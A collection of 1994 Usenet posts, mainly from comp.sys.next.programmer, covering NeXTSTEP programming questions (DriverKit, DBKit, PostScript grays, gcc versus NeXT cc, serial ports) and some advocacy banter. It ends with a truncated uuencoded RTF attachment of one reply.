From: stoleson@stutter.rchland.ibm.com Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Need some information to advocate about NeXTSTEP Date: 31 Mar 1994 23:44:44 GMT Organization: IBM Rochester, MN Message-ID: <2nfn9c$kk5@locutus.rchland.ibm.com> References: <CnGt37.JtG@mcs.anl.gov> <nagelc.4.0010AF42@landru.cpr.upenn.edu> In <nagelc.4.0010AF42@landru.cpr.upenn.edu>, nagelc@landru.cpr.upenn.edu (Christopher Nagel) writes: >In article <CnGt37.JtG@mcs.anl.gov> korp@eid.anl.gov (Peter A. Korp) writes: >>From: korp@eid.anl.gov (Peter A. Korp) >>Subject: Need some information to advocate about NeXTSTEP >>Keywords: NeXT, NeXTSTEP, Visual Basic, MVC, Objective-C >>Date: Wed, 30 Mar 1994 06:37:54 GMT > >>I am looking at providing information to higher level management about the >>benefits that NeXTSTEP has in developing applications. >> ... > >In my (adittedly middling) experience, it's best to find out what the higher >level management already wants and find ways to justify that. If they don't >already want NS, then for G-d's sake--don't you convince them otherwise! > >That's NeXT's job. If NeXT can't do it, then why should you put your >job on the line?? Believe me, if NeXT isn't already a presence in your org, >then your job *will* be on the line if *you* get them in there. > >NS isn't worth your career, is it? > >Chris Yeah Peter, you better listen to Chris, you certainly wouldn't want your management to know any of the benefits of the NEXTSTEP platform. I am sure he knows everything about your organization and how your company works, so you should listen to Chris. Don't rock that boat, just shutup and follow the orders that come from above and smile and nod your approval. Peter, if all you are interested in is keeping your job than do exactly what Chris said. If you want to take the chance to improve yourself and your company then by all means get some serious information about NEXTSTEP, if it works out, maybe you'll get promoted. Chris, Peter was asking for information on NEXTSTEP, not how to conduct his business. All he was asking for was acquiring some knowledge that he could present to his management about the benefits of using NEXTSTEP, and comparing this to other GUI development platforms. And, you yourself admit to being nothing but a brown-noser anyway. "Find out what higher managament wants . . .", what a bunch of crap You might keep a job by sucking up, but you will never be a success. Hey Peter, if you look at Chris's previous post, you see he is nothing but a NeXT-hater anyway, don't listen to him. -dave ++++++I don't speak for IBM++++++++
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: How to get 3.0-made app to run in 2.0? Message-ID: <1994Mar31.235650.18918@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2nae5o$dsl@cville-srv.wam.umd.edu> Date: Thu, 31 Mar 1994 23:56:50 GMT Craig, I don't think you can....3.0 compiled apps use different SHLIBs... The "bad executable" message always comes up.... Anyone else??? rik In article <2nae5o$dsl@cville-srv.wam.umd.edu> vgriscep@wam.umd.edu (VGR (Craig Pell)) writes: > How do I get an application created in 3.0 to run in 2.0? It doesn't use > any unique-to-3.0 mechanisms (that I know of). (If this is in the FAQ, I > apologize; but the most recent FAQ post has apparently expired for me.) > -- > | $000C35FA <>-----=------------------------=----=----<> > VGR | (1812 Overture) | "The size of the brain is no measure of | > | I GIVE UP | its capacity." - Mr. Jonathan Frisby | > | YOU MUST BE A VIDEO WHIZ <>-----=---------=------------------------<>
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Solaris Developer Conference: April 5-7 Date: 1 Apr 1994 02:57:30 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2ng2iq$dt0@darkstar.UCSC.EDU> References: <199403312210.OAA17353@mail.netcom.com> In article <199403312210.OAA17353@mail.netcom.com> cgeiger@netcom.com (Conrad Geiger) writes: > The price for attending the Solaris Developer Conference is $495 Gee, I guess we must be about twice as good as Solaris developers (NEXTSTEP Expo Developer Conference - $995) - or maybe that should be twice as unfortunate :-( --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: eric@skatter.usask.ca Newsgroups: comp.sys.next.programmer Subject: DriverKit -- Request for information Date: 31 Mar 1994 20:46:33 GMT Organization: University of Saskatchewan Message-ID: <2nfcr9$ef4@tribune.usask.ca> I've smacked into the front edge of the DriverKit learning curve -- to me it's more like a learning cliff...... I'm planning to write a device driver for a GPIB interface card. I've successfully built, loaded, and tested the `myTestDriver' example. I thought the next step would be to try and send messages to a driver I/O thread. To try this out, I removed the #ifdef USE_HW and the corresponding #endif and added some code that I *thought* would start up the I/O thread. Here's the method from my modified driver: ============================================================================== - initFromDeviceDescription:deviceDescription { char name[80]; /* * A real driver would call [super initFromDeviceDescription:], which * reserves hardware resources (DMA channels, I/O ports, etc.). * Since this driver doesn't really do anything, it isn't necessary * to reserve resources. However, it shouldn't hurt anything to * reserve them. If the resources specified in this driver's bundle * (in /usr/Devices/myTestDriver.config/*.table) are already reserved, * [super initFromDeviceDescription:] will return nil. */ if ([super initFromDeviceDescription:deviceDescription] == nil) return nil; IOLog("myTestDriver: interrupt %d channel %d\n", [deviceDescription interrupt], [deviceDescription channel]); sprintf(name, "%s%d", my_DEVICE_NAME, _myTestDriverUnit); [self setName:name]; [self setUnit:_myTestDriverUnit++]; [self setLocation:NULL]; _myParameter = my_PARAMETER_STRING; /* * Here's what I added */ { IOReturn r; IOLog("myTestDriver: Let's go!\n"); r = [self startIOThread]; if (r != IO_R_SUCCESS) IOLog("myTestDriver: Can't start I/O thread: %s\n", [self stringFromReturn:r]); IOLog("myTestDriver: Interrupt port is %d\n", [self interruptPort]); } /* * End of what I added */ [self registerDevice]; return self; } ============================================================================== When I try to start this up all I ever see is: Mar 31 14:31:31 pisces mach: myTestDriver: interrupt 2 channel 1 Mar 31 14:31:31 pisces mach: myTestDriver: Let's go! Mar 31 14:31:31 pisces mach: IODirectDevice: Can't attach interrupts! Mar 31 14:31:31 pisces mach: myTestDriver: Can't start I/O thread: Device/Channel not attached Mar 31 14:31:31 pisces mach: myTestDriver: Interrupt port is 0 Mar 31 14:31:31 pisces mach: Registering: myTestDriver0 What a truly useless diagnostic from `IODirectDevice'. I don't want to know that interrupts can't be attached, I want to know *WHY* interrupts can't be attached. Any suggestions and/or examples will be gratefully received.... -- Eric Norum eric@skatter.usask.ca Saskatchewan Accelerator Laboratory University of Saskatchewan Saskatoon, Canada. NeXTMail accepted.
From: nagelc@landru.cpr.upenn.edu (Christopher Nagel) Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Need some information to advocate about NeXTSTEP Date: Thu, 31 Mar 1994 16:40:57 Organization: U of PA Message-ID: <nagelc.4.0010AF42@landru.cpr.upenn.edu> References: <CnGt37.JtG@mcs.anl.gov> Keywords: NeXT, NeXTSTEP, Visual Basic, MVC, Objective-C In article <CnGt37.JtG@mcs.anl.gov> korp@eid.anl.gov (Peter A. Korp) writes: >From: korp@eid.anl.gov (Peter A. Korp)>Subject: Need some information to advocate about NeXTSTEP >Keywords: NeXT, NeXTSTEP, Visual Basic, MVC, Objective-C >Date: Wed, 30 Mar 1994 06:37:54 GMT >I am looking at providing information to higher level management about the >benefits that NeXTSTEP has in developing applications. > ... In my (adittedly middling) experience, it's best to find out what the higher level management already wants and find ways to justify that. If they don't already want NS, then for G-d's sake--don't you convince them otherwise! That's NeXT's job. If NeXT can't do it, then why should you put your job on the line?? Believe me, if NeXT isn't already a presence in your org, then your job *will* be on the line if *you* get them in there. NS isn't worth your career, is it? Chris
From: slxn8@cc.usu.edu Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: How to change Max mail message size? Message-ID: <1994Mar31.185206.14823@cc.usu.edu> Date: 31 Mar 94 18:52:06 MDT Organization: Utah State University I remember reading this awhile back...but of course, I didn't write it down. Where do you go to change the allowable size of mail messages? I believe it was somewhere in the sendmail file. Any help would be appreciated. Thanks, ====================================================================== John Zollinger (NextMail Preferred) Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com [Moore BCS - Logan, Utah] "Life is too important to take seriously." ======================================================================
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: cmsg cancel <2nh063$7ng@steffi.demon.co.uk> Control: cancel <2nh063$7ng@steffi.demon.co.uk> Date: 1 Apr 1994 12:24:43 +0100 Organization: me organized? That's a joke! Message-ID: <2nh09r$7rs@steffi.demon.co.uk> <2nh063$7ng@steffi.demon.co.uk> was cancelled from within trn. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: NeXT Developer Documentation idea. Date: 1 Apr 1994 13:38:57 +0100 Organization: me organised, that's a joke. Message-ID: <2nh4l1$hn@steffi.demon.co.uk> Since the documentation for classes is heirarchical too. Instead of DBTableView Inherits From: ScrollView : View : Responder : Object Declared In: dbkit/DBTableView.h ---- I'd like a \linkFilename directive after each classname in the "Inherits From: " field. Then we could just click on the diamonds to get to the documentation of each superxlass. In fact how about adding them to all of those fields, including AdoptedProtocols: Me thinks at least for the developer docs that this could be automated? Anybody tried this? I'd be willing to make this change myself should a program/script make the necessary changes. -- "C++ is the best C++ there is." (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Why is DBTableDataSources an informal protocol? Date: 1 Apr 1994 15:31:53 +0100 Organization: me organised, that's a joke. Message-ID: <2nhb8p$292@steffi.demon.co.uk> Why is DBTableDataSources not a formal protocol? -- "C++ is the best C++ there is." (ASCII for text only messages)
From: hyongsop@saturn.eecs.umich.edu (Hyong S. Shim) Newsgroups: comp.sys.next.programmer Subject: Working With Text and Slider View Object Date: 1 Apr 1994 16:11:42 GMT Organization: University of Michigan EECS Dept. Message-ID: <2nhh3u$6h@zip.eecs.umich.edu> Hi, Does anyone know how to retrieve the current string value of a text object?. Textfields provide the "stringValue" method which returns a pointer to the current string of a textfield, but text objects do not seem to provide such methods. Thanks much in advance. --Hyong Sop Shim (hyongsop@engin.umich.edu)
From: dhowland@gpu.srv.ualberta.ca (Deborah Howland) Newsgroups: comp.sys.next.programmer Subject: Re: Solaris Developer Conference: April 5-7 Date: 1 Apr 1994 17:29:33 GMT Organization: Computer and Network Services, U of Alberta, Edmonton, Canada Message-ID: <2nhllt$5l0@quartz.ucs.ualberta.ca> References: <199403312210.OAA17353@mail.netcom.com> <2ng2iq$dt0@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: >In article <199403312210.OAA17353@mail.netcom.com> cgeiger@netcom.com >(Conrad Geiger) writes: >> The price for attending the Solaris Developer Conference is $495 > Gee, I guess we must be about twice as good as Solaris developers >(NEXTSTEP Expo Developer Conference - $995) - or maybe that should be >twice as unfortunate :-( Make that four times as good or unfortunate, Art. Notice the following from Conrad's post: >>All attendees receive a Solaris Developer Pak, which includes Solaris for SPAR C >>or x86, their choice of a compiler, 90 days of free support, an array of >>Solaris tools to help them migrate their applications to Solaris, and all of >>the conference proceedings. NEXTSTEP Expo attendees get to pay another $995 on top of the conference cost to get NS User+Developer. Of course, Expo is a day longer than the Solaris shin-dig, and Expo Developer conference goers do get a free prerelease copy of the new Enterprise Objects Framework package, so I guess that makes up for the difference. :~) Royce Howland dhowland@gpu.srv.ualberta.ca (wife's account)
From: samurai@wsc.com (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Wizard and Pencil Me In Date: 1 Apr 1994 19:34:48 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2nht0o$ap6@cerberus.wsc.com> Hello, The Sharp Wizard has an API that several Windoze calendar apps use to download calendars to it. It's pretty cool. So, Pencil Me In has an API as well... the question is, has anyone put the two together? Is there source available? If not, I guess I have a little project... Thanks, - darcy
From: gbol@custard.think.com (Gregory Lampshire) Newsgroups: comp.sys.next.programmer Subject: Re: shared libraries Date: 1 Apr 94 15:09:02 Organization: Thinking Machines Corporation, Cambridge MA, USA Distribution: world Message-ID: <GBOL.94Apr1150902@custard.think.com> References: <MARCUS.94Mar30001822@tdb.ee.pdx.edu> In-reply-to: marcus@ee.pdx.edu's message of 30 Mar 1994 08:18:21 GMT This reminded me of several related questions I've been meaning to pose to you folks: 0. (naturally) Does anyone have info on this? Can we expect anything special or interesting about the implementation? 1. Are there any Mach 3.0 variants that still use Mach-O? Isn't NeXT's use sections for fat binaries, etc. somewhat isolated? What was the reasoning behind 3.0 not using Mach-O anymore? Does a.out support all of the features that were required?
Newsgroups: comp.sys.next.programmer From: dgoodman@is.rpslmc.edu (Dave Goodman) Subject: DBModules and discarding changes Message-ID: <1994Apr1.215548.15456@rpslmc.edu> Keywords: NeXT, DBKit, DBModules Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Fri, 1 Apr 1994 21:55:48 GMT I have observed some disturbing behavior while working with DBModules. I have a data entry panel and one of the options on the panel is "Cancel". I use the standard alert panel to make sure the user gets the chance to save any changes they might have made. Obviously, one of the choices on the panel is "Close anyway" which will discard the changes the user has made. In this case, I use the following code to clean up: printf("Inside moduleWillLoseChanges:\n"); [[diseaseModule rootFetchGroup] discardChanges]; printf("\tDisease: %d\n", (int)[[diseaseModule rootFetchGroup] hasUnsavedChanges]); [[procedureModule rootFetchGroup] discardChanges]; printf("\tProcedure: %d\n", (int)[[diseaseModule rootFetchGroup] hasUnsavedChanges]); I do this so the user won't get one of those ugly alert panels that come from the database. The problem is that this is the output I get from that little snippet of code: Inside moduleWillLoseChanges: Disease: 1 Procedure: 1 They still have changes!!! AND I STILL GET THE STUPID DATABASE PANEL!!! I tried using the DBModule method discardChanges:sender and that didn't have any better behavior. Has anyone else out there run up against this brick wall? Is there some state variable in the module or the fetch group that tells it when it is ok to discard changes? -Dave ============================================ = David I. Goodman N[eE]XTSTEP Developer = = Single Source Systems, Inc. = = dgoodman@is.rpslmc.edu = ============================================ Disclaimer: No statements made in this article should be construed to reflect the opinions of Rush-Presbyterian-St. Luke's Medical Center or Single Source Systems. All opinions are wholly my own, and I am solely responsible for my statements.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer,comp.lang.objective-c,comp.object Subject: Code ownership.. Does anybody care? Date: 1 Apr 1994 12:24:22 +0100 Organization: me organised, that's a joke. Message-ID: <2nh096$7r5@steffi.demon.co.uk> In the last few months I've disciplined myself to make use of libraries when ever possible. Initially inspired by Michael's PB hack. and finally refined from discussions with Art. Now say you are within an organisation who has their own class-library which you shall be using for in house application development. Supposing you decide that you wish to augment an existing library (either by subclassing or adding categories) or make use of some of your appkit/dbkit (ie. libraries that belong to nobody) categories or libraries. Where does that leave you in terms of ownership of _your own_ code that you have "made use of"? I've seen many an employment contract which stipulates that code you write whilst acting as an employee belongs to the company. But what about the code we "use"? But as programmers we should be able to develop and make use of our _own_ libraries and retain the rights shouldn't we? For the purpose of this discussion I guess we can define "own" as being anything your write outside an employment context and you would deem to be useful on a particular work-related project. -- "C++ is the best C++ there is." (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: frank_m@sat.mot.com (Mark Frank) Subject: Default landscape mode Message-ID: <1994Apr1.163825.6599@sat.mot.com> Sender: usenet@sat.mot.com (Usenet Accoun) Organization: Motorola Inc. - Satellite Communications Date: Fri, 1 Apr 1994 16:38:25 GMT Does anyone know how to get an app to initialize with landscape mode as the default for printing? I know how to add the format button, but am interested in initializing the program for landscape. I did this once, but forgot how I did it. - Thanks, Mark
Newsgroups: comp.sys.next.programmer Organization: Antigone Press gateway, San Francisco Return-Path: <ewsdevni!bruce@dolphin.com> From: Bruce McKenzie <ewsdevni!bruce@dolphin.com> Message-ID: <199404011837.AA12940@ewsdevni.dolphin.com> Date: Fri, 1 Apr 94 10:37:57 -0800 Subject: re: How about a visual language for NeXTSTEP? Cc: comp-sys-next-programmer@antigone.com Oh, finally! A place to drag out my soapbox.... I really like Prograph for the Mac. It is a visual OO language. Single inheritance, with implied concurrence of operations (unless order is specified). There is no "textual" representation of the language; it is graphical. It builds full applications. They have a interpreted version and a compiled version. I believe they were aiming at "bigger than Mac" platforms (Suns), but I don't know how far they are. It's by TGS Systems in San Francisco. I've dreamed of a lashup to NS.... Bruce McKenzie spuds@netcom.com
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Is Conrad back ??? (was: Re: Solaris Developer Conference: April 5-7) Message-ID: <CnpsI1.J60@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <199403312210.OAA17353@mail.netcom.com> Distribution: usa Date: Mon, 4 Apr 1994 03:03:36 GMT In article <199403312210.OAA17353@mail.netcom.com> cgeiger@netcom.com (Conrad Geiger) writes: >>Hello, >> >>For those following Sun and NeXT's new relationship with Openstep: >> [munch munch] Well Conrad ??? What's up ??? -- Ronald Pomeroy Advanced Micro Devices CIM Applications Group rpomeroy@aunext1.amd.com
From: npratt@glacier.sim.es.com (Nevin Pratt) Newsgroups: comp.sys.next.programmer Subject: Re: PSsetgray(value); value = ? for solid greys Date: 4 Apr 1994 19:56:30 GMT Organization: E&S Distribution: world Message-ID: <2nprde$11e@cnn.sim.ES.COM> References: <2neh4b$ete@mailer.fsu.edu> In article ete@mailer.fsu.edu, dekorte@scri.fsu.edu (Steve Dekorte) writes: > What are the float values for x in: > PSsetgray(x); > in order to get solid greys with a NeXT mono monitor? > 0.00 black > 0.?? dark grey > 0.?? medium grey > 0.?? light grey > 1.00 white > (.25,.5, and .75 aren't correct) > Steve Dekorte There is no medium grey. Try .33 and .66 for the others. Nevin
From: samurai@wsc.com (Darcy Brockbank) Newsgroups: comp.sys.next.programmer Subject: Re: GCC 2.5.8 versus NeXT's CC on NS 3.2 Date: 4 Apr 1994 20:19:14 GMT Organization: WSC Investment Services, Inc. Disclaimer: The views represented within this posting are not necessarily those held by WSC Investment Services, Inc. Message-ID: <2npso2$lev@cerberus.wsc.com> References: <chbraZ_00iV146Z3Fe@andrew.cmu.edu> In article <chbraZ_00iV146Z3Fe@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: > Excerpts from netnews.comp.sys.next.programmer: 3-Apr-94 Re: GCC 2.5.8 > versus NeXT's.. by Steve Dekorte@scri.fsu.e > > While the gcc people are still arguing about #import vs. #include. > with, because it complains less about Obj-C (including the annoying > warning about #import) and can do FAT binaries, which gcc won't do. I FYI: man gcc-2.5.8: -Wno-import Inhibit warning messages about the use of #import. I've mixed and matched gcc objects with NeXT cc objects, and so far have not had too many problems. gcc may use different header files though, and some of it's ObjC stuff is *not* consistent with NeXT's ("Class" is one example) so you may get burned when trying to compile NS ObjC with GNU ObjC. Nothing like having two and only two ObjC compilers, from the same source tree, and they don't use the same conventions. - darcy
Newsgroups: comp.sys.next.programmer From: risinger@netcom7.netcom.com (James A. Risinger) Subject: abort() not working on NS3 68k Message-ID: <RISINGER.94Apr4152930@netcom7.netcom.com> Sender: risinger@netcom.com (James A. Risinger) Organization: NETCOM On-line services Date: Mon, 4 Apr 1994 22:29:29 GMT When I call abort() in a program, I don't get a core file -- I simply get "IOT trap" and no core. Does anyone know what's up? NS 3.0 on m68k Thanks, James
From: horton@athena.mit.edu (Chris Horton) Newsgroups: comp.sys.next.programmer Subject: NextStep clone for $100? Date: 5 Apr 1994 00:28:02 GMT Organization: Massachusetts Institute of Technology Sender: horton@athena.mit.edu (Christopher A Horton) Distribution: world Message-ID: <2nqbai$4ba@senator-bedfellow.MIT.EDU> Hi, I think Next's NextStep OS is great, but it seems that not many people have it, among other reasons, because of its high price. Now that Next Inc. is releasing the system independent features of NextStep (the spec. is called OpenStep), there's a way to fix this. I've been studying the effects of an OpenStep implementation for one of my classes and it seems that people might like to use such a system if they could afford it. Along these lines, some friends and I have started to think about starting a software company to write an inexpensive yet well designed OpenStep implementation. We know about "gnustep," but think that an OS has a better chance of succeeding if it has a company behind it. However, it would be stupid to go through all the work to write such a thing if nobody would want it, so I'd like to get some feedback from the net community. Lets suppose that our final product is as much of a NextStep clone as possible (to be determined by the OpenStep spec, but most NextStep features should be included). It probably will not be binary compatible with Next's NextStep, but in most cases a simple recompile will do the trick. It should also have the same feel and features as NextStep (such as display postscript & same GUI) but will *not* have things like Renderman, Pantone color, and possibly a mach based unix, which would be too expensive to license. Instead we would use something like linux and fix it up to commercial levels. We would also use DPS on top of X windows so your standard X programs would run on this too. If this product was priced at or around $100, would you buy it? Please send email to the address below! Also, what are the most important factors involved in your decision? GUI, number of available applications, power, user friendliness, price, hardware requirements, compatibility with other OS's (windows emulator), etc.? I will *NOT*, repeat *NOT*, use your response to form a list of potential customers unless you explicitly ask me to. We think that there are three types of people who might want this, 1) people who want nextstep but can't afford it, 2) people who use unix at work and want it at home but want a nicer interface so their family can use it too, 3) hacker/techie/student types like ourselves. Thanks for your input! -Chris Horton horton@mit.edu
From: lunde@cs.tu-berlin.de (Lars Grupe) Newsgroups: comp.sys.next.programmer Subject: Changing the Database-Adaptor? Date: 5 Apr 1994 01:14:42 GMT Organization: Technical University of Berlin, Germany Message-ID: <2nqe22$lmr@news.cs.tu-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit If I had developed an application using a specific database adaptor, how easy would it be to use the app with another adaptor? All all adaptors the same or do the at least have to supply some minimum functionality? -- ------------------------------------------------------------------------------- Lars Grupe UID lunde <lunde@cs.tu-berlin.de> Technische Universitaet Berlin -------------------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: GCC 2.5.8 versus NeXT's CC on NS 3.2 In-Reply-To: Charles William Swiger's message of Sun, 3 Apr 1994 22:21:25 -0400 To: Charles William Swiger <infidel+@CMU.EDU> Message-ID: <CEDMAN.94Apr4200106@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <chbraZ_00iV146Z3Fe@andrew.cmu.edu> Date: Tue, 5 Apr 1994 00:01:06 GMT In article <chbraZ_00iV146Z3Fe@andrew.cmu.edu> Charles William Swiger <infidel+@CMU.EDU> writes: Let me re-ask the question for the context of pure C source (ie, something like zsh or Carl Edmans' Emacs 19 for NS). Sorry, but Emacs 19 for NS uses both objective C, the Appkit, #import, postscript wraps and the like quite extensively. Carl Edman
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: PSsetgray(value); value = ? for solid greys Date: 5 Apr 1994 05:54:04 GMT Organization: San Francisco State University Message-ID: <2nquds$7lg@nic-nac.CSU.net> References: <2neh4b$ete@mailer.fsu.edu> <1994Apr1.021434.2046@trilithon.com> In article <1994Apr1.021434.2046@trilithon.com> henry@trilithon.com (Henry McGilton) writes: >There is no defined constant for ``medium grey'' and there is no >pixel gray which results in such a shade. If you choose ``medium >grey'' = 0.50, you'll get a halftone instead of a gray scale. Perhaps he was thinking of NX_MediumGrayPattern? -=EPS=-
From: jbrewer@crl.com (Jeff Brewer) Newsgroups: comp.sys.next.programmer Subject: Re: How do I use the serial ports? Date: 2 Apr 1994 04:28:49 GMT Organization: Animatrix Message-ID: <2nisa1$q4t@nntp.crl.com> References: <2naugl$als@nic-nac.CSU.net> In article <2naugl$als@nic-nac.CSU.net>, eps@futon.SFSU.EDU (Eric P. Scott) wrote: > In article <2naqup$et2@discovery.ksu.ksu.edu> > nhowland@discovery.ksu.ksu.edu (Neal Patrick Howland) writes: >> I need a program that will send >>everything I type to it to the serial port, and print everything received >>from the serial port to the screen. Could someone please send me some info >>on how to do this, or the name of a program if one is available. > >Get kermit. It's free. > >>Oh, by the way my hardware is a NeXTstation '040. > >ftp.cc.columbia.edu:kermit/bin/ckuker.next > >(Also--see kermit/b/ckuins.doc for a list of other files you >might find useful!) > > -=EPS=- You can also use the unix tip program. It comes with NS. Jeff
Newsgroups: comp.sys.next.programmer From: brandner@informatik.uni-stuttgart.de (Mirko Brandner) Subject: Re: abort() not working on NS3 68k Message-ID: <Cns2w1.Cv1@news.informatik.uni-stuttgart.de> Sender: news@informatik.uni-stuttgart.de Organization: Informatik, University of Stuttgart, Germany References: <RISINGER.94Apr4152930@netcom7.netcom.com> Date: Tue, 5 Apr 1994 08:43:12 GMT Don't you have to set " limit coredumpsize <some number> " anywhere? In a regular shell, this is a must! I am not sure where to put it for NS-Apps. My guess is in some file being executed at login time. Mirko.
Newsgroups: comp.sys.next.programmer From: cousens@biztech.com Subject: Re: DBModules and discarding changes Message-ID: <1994Apr4.230103.6324@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <1994Apr1.215548.15456@rpslmc.edu> Date: Mon, 4 Apr 1994 23:01:03 GMT Chris, have you tried setting up a delegate of DBDatabase, and implementing the method -db:notificationFrom:message:code:. Take a look at the doc, and see if it makes sense. Rik (cousens@biztech.com) In article <1994Apr1.215548.15456@rpslmc.edu> dgoodman@is.rpslmc.edu (Dave Goodman) writes: > I have observed some disturbing behavior while working with DBModules. I > have a data entry panel and one of the options on the panel is "Cancel". > I use the standard alert panel to make sure the user gets the chance to > save any changes they might have made. > > Obviously, one of the choices on the panel is "Close anyway" which will > discard the changes the user has made. In this case, I use the following > code to clean up: > > printf("Inside moduleWillLoseChanges:\n"); > [[diseaseModule rootFetchGroup] discardChanges]; > printf("\tDisease: %d\n", (int)[[diseaseModule rootFetchGroup] > hasUnsavedChanges]); > [[procedureModule rootFetchGroup] discardChanges]; > printf("\tProcedure: %d\n", (int)[[diseaseModule rootFetchGroup] > hasUnsavedChanges]); > > I do this so the user won't get one of those ugly alert panels that come > from the database. The problem is that this is the output I get from that > little snippet of code: > > Inside moduleWillLoseChanges: > Disease: 1 > Procedure: 1 > > They still have changes!!! AND I STILL GET THE STUPID DATABASE PANEL!!! > > I tried using the DBModule method discardChanges:sender and that didn't > have any better behavior. > > Has anyone else out there run up against this brick wall? Is there some > state variable in the module or the fetch group that tells it when it is > ok to discard changes? > > -Dave > > ============================================ > = David I. Goodman N[eE]XTSTEP Developer = > = Single Source Systems, Inc. = > = dgoodman@is.rpslmc.edu = > ============================================ > Disclaimer: No statements made in this article should be construed to > reflect the opinions of Rush-Presbyterian-St. Luke's Medical Center or > Single Source Systems. All opinions are wholly my own, and I am solely > responsible for my statements. -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($-H<FES+%P*7`H) M:&%V92!Y;W4@=')I960@<V5T=&EN9R!U<"!A(&1E;&5G871E(&]F($1"1&%T M86)A<V4L(&%N9"!I;7!L96UE;G1I;F<@=&AE(&UE=&AO9"`M"EQB(&1B.FYO M=&EF:6-A=&EO;D9R;VTZ;65S<V%G93IC;V1E.BX@"EQB,"`@5&%K92!A(&QO M;VL@870@=&AE(&1O8RP@86YD('-E92!I9B!I="!M86ME<R!S96YS92Y<"EP* M4FEK("AC;W5S96YS0&)I>G1E8V@N8V]M*5P*"EQB(%P*"EQB,"!<"DEN(&%R M=&EC;&4@/#$Y.31!<'(Q+C(Q-34T."XQ-30U-D!R<'-L;6,N961U/B!D9V]O M9&UA;D!I<RYR<'-L;6,N961U("A$879E($=O;V1M86XI('=R:71E<SI<"CX@ M22!H879E(&]B<V5R=F5D('-O;64@9&ES='5R8FEN9R!B96AA=FEO<B!W:&EL M92!W;W)K:6YG('=I=&@@1$)-;V1U;&5S+B`@22`@7`H^(&AA=F4@82!D871A M(&5N=')Y('!A;F5L(&%N9"!O;F4@;V8@=&AE(&]P=&EO;G,@;VX@=&AE('!A M;F5L(&ES(")#86YC96PB+B`@(%P*/B!)('5S92!T:&4@<W1A;F1A<F0@86QE M<G0@<&%N96P@=&\@;6%K92!S=7)E('1H92!U<V5R(&=E=',@=&AE(&-H86YC M92!T;R`@7`H^('-A=F4@86YY(&-H86YG97,@=&AE>2!M:6=H="!H879E(&UA M9&4N7`H^(%P*/B!/8G9I;W5S;'DL(&]N92!O9B!T:&4@8VAO:6-E<R!O;B!T M:&4@<&%N96P@:7,@(D-L;W-E(&%N>7=A>2(@=VAI8V@@=VEL;"`@7`H^(&1I M<V-A<F0@=&AE(&-H86YG97,@=&AE('5S97(@:&%S(&UA9&4N("!);B!T:&ES M(&-A<V4L($D@=7-E('1H92!F;VQL;W=I;F<@(%P*/B!C;V1E('1O(&-L96%N M('5P.EP*/B!<"CX@<')I;G1F*"));G-I9&4@;6]D=6QE5VEL;$QO<V5#:&%N M9V5S.EQ<;B(I.UP*/B!;6V1I<V5A<V5-;V1U;&4@<F]O=$9E=&-H1W)O=7!= M(&1I<V-A<F1#:&%N9V5S73M<"CX@<')I;G1F*")<7'1$:7-E87-E.B`E9%Q< M;B(L("AI;G0I6UMD:7-E87-E36]D=6QE(')O;W1&971C:$=R;W5P75P*/B`) M"0D)"6AA<U5N<V%V961#:&%N9V5S72D[7`H^(%M;<')O8V5D=7)E36]D=6QE M(')O;W1&971C:$=R;W5P72!D:7-C87)D0VAA;F=E<UT[7`H^('!R:6YT9B@B M7%QT4')O8V5D=7)E.B`E9%Q<;B(L("AI;G0I6UMD:7-E87-E36]D=6QE(')O M;W1&971C:$=R;W5P75P*/B`)"0D)"6AA<U5N<V%V961#:&%N9V5S72D[7`H^ M(%P*/B!)(&1O('1H:7,@<V\@=&AE('5S97(@=V]N)W0@9V5T(&]N92!O9B!T M:&]S92!U9VQY(&%L97)T('!A;F5L<R!T:&%T(&-O;64@(%P*/B!F<F]M('1H 